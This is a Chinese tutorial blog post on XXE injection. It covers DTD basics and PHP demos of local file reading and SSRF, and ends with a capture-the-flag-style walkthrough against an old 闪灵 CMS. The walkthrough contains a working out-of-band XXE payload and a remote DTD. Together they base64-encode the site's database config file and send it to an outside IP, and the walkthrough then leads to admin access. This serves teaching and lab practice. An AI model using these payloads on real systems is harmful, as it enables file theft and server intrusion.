• XXE漏洞——介绍及利用


    什么是xxe

    XML外部实体注入,简称XXE漏洞。XML文档结构包括XML声明,DTD文档类型定义,文档元素。
    

    XML示例

        <?xml version="1.0"?>XML声明
        <!DOCTYPE note [
        <!ELEMENT note(to,from,heading,body)>
        <!ELEMENT to(#PCDATA)>
        <!ELEMENT from(#PCDATA)>            文档定义类型(DTD)
        <!ELEMENT heading(#PCDATA)>
        <!ELEMENT body(#PCDATA)>
        ]>
        <note>
        <to>tove</to>
        <from>jani</from>
        <heading>reminder</heading>
        <body>don't forget me this weekend</body>            文档元素
        </note>
    

    DTD的内、外部声明

    1. 内部声明格式
    <!DOCTYPE 根元素 [次一级元素声明]
    
    1. 外部引用格式
    <!DOCTYPE 根元素 SYSTEM "url路径"
    

    PHP示范利用DTD的外部使用操控XML

    php代码
    <?php
    	$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>';  //后面的标签名,&实体声明一定得有
    	$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
    	print_r($obj);
    ?>
    
    结果:

    外部DTD支持的协议

    简单漏洞利用!

    可以让目标服务通过特定协议去访问相关资源,从而实现SSRF(服务器请求伪造)
    攻击。我们还可以进行内网服务探测、端口探测等利用
    
    利用http请求baidu
    <?php
    	$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>';
    	$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
    	print_r($obj);
    ?>
    
    结果

    虽然页面是很多Wraning警告,但其实我们已经得到了baidu的源码数据

    盲注漏洞利用!

    XXE中也存在盲注,不会给你显示东西。
    
    思路
    1. 利用其他东西证明其存在

      • 延时

      • 写文件

        搭建一个服务器里边有个php(test_blind.php)文件,访问后搭建的服务器目录生成一个文件

        //test_blind.php  文件
        <?php
        file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
        ?>
        

    2. 将结果外带出来

      • DNS注入

      • 反弹注入

    SSRF和XXE最大的功能是能发起请求,这给了我们很大的空间发挥

    复现环境

    目标

    闪灵建站cms

    分析

    目标是老版本闪灵源码。然后我找不到这个版本了。

    数据库配置目录文件

    conn/conn.php

    含有 simplexml_load_string 函数的漏洞目录文件

    weixin/index.php

    思路

    访问含有漏洞的文件,发现其接受POST传参作为XML执行。但同时必须传入一个参数(signature)让它不为空

    图片1

    图片2

    • 解读php://input
      接收所有POST的数据
    实践

    首先试探性的随便传一些数据。

    发现爆出了绝对路径。这时候我们可以构造XML

    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
    <!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
    %remote;
    %send;
    ]>
    

    % file 定义一个参数实体,SYSTEM表示外部引用。其中%remote是引用外部xml,那是靶场提供的xml,内容如下。

    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
    >
    %all;
    

    发现继续报错,但是这并没关系。我们已经得到了想要的东西。再看靶场提供的3.txt文件,里边记录了我们获得的信息

    解密后得到数据库连接密码,但是

    则是内网ip,接下来我们找找网站数据库登录后台。这里是adminer.php

    成功进入后台,查表得管理员密码

    md5解密后记得flag

  • 相关阅读:
    arcpy地理处理工具案例教程-生成范围-自动画框-深度学习样本提取-人工智能-AI
    arcpy地理处理工具案例教程-将细碎图斑按相同属性或相近属性合并相邻图斑
    遥感应用指数整理
    arcpy实例教程-地图图层导出到要素类
    arcpy实例教程-地图范围导出到要素类
    arcpy实例教程-上游流域下游流域查找
    arcgis python脚本工具实例教程—栅格范围提取至多边形要素类
    传统测绘工程和新时代的测绘地理信息工程专业点评
    GIS地理处理脚本案例教程——批量栅格分割-批量栅格裁剪-批量栅格掩膜-深度学习样本批量提取
    excel矩阵运算操作-转置 行列式 相乘 逆阵
  • 原文地址:https://www.cnblogs.com/beidaxmf/p/14302565.html
Copyright © 2020-2023  润新知